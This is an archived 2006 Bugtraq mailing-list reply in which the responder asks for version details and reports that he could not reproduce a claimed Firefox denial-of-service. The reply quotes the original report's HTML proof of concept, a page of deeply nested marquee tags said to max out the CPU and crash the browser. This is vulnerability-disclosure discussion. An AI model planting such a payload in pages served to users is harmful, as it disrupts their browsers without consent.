bugtraq - Re: Fire fox dos exploit

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Message-ID: <Pine.LNX.4.64.0605311035110.6067@maoz.education.gov.il>
Date: Wed, 31 May 2006 10:50:26 -0400 (EDT)
From: Josh Zlatin-Amishav <josh@...s.co.il>
To: co296@....com
Cc: bugtraq@...urityfocus.com
Subject: Re: Fire fox dos exploit


On Tue, 30 May 2006, co296@....com wrote:

> I have found a problem which causes denial of service on fire fox browser

Can you give us some more details, like versions and platforms affected? I was unable to 
recreate this flaw using firefox 1.5.dfsg+1.5.0 on Debian unstable.

--
  - Josh

>
> Creadit:to n00b for finding this bug..
>
> the problem lie's in the
>
> <marquee> html tag uses 100% cpu and crash's the browser..
>
> Following proof of concept available
>
> <html>
> <head>
> <title>Credit to n00b..</title>
> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
> </head>
>
> <body>
> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marq
 uee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marq
 ue
> e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
> </body>
> </html>
>
>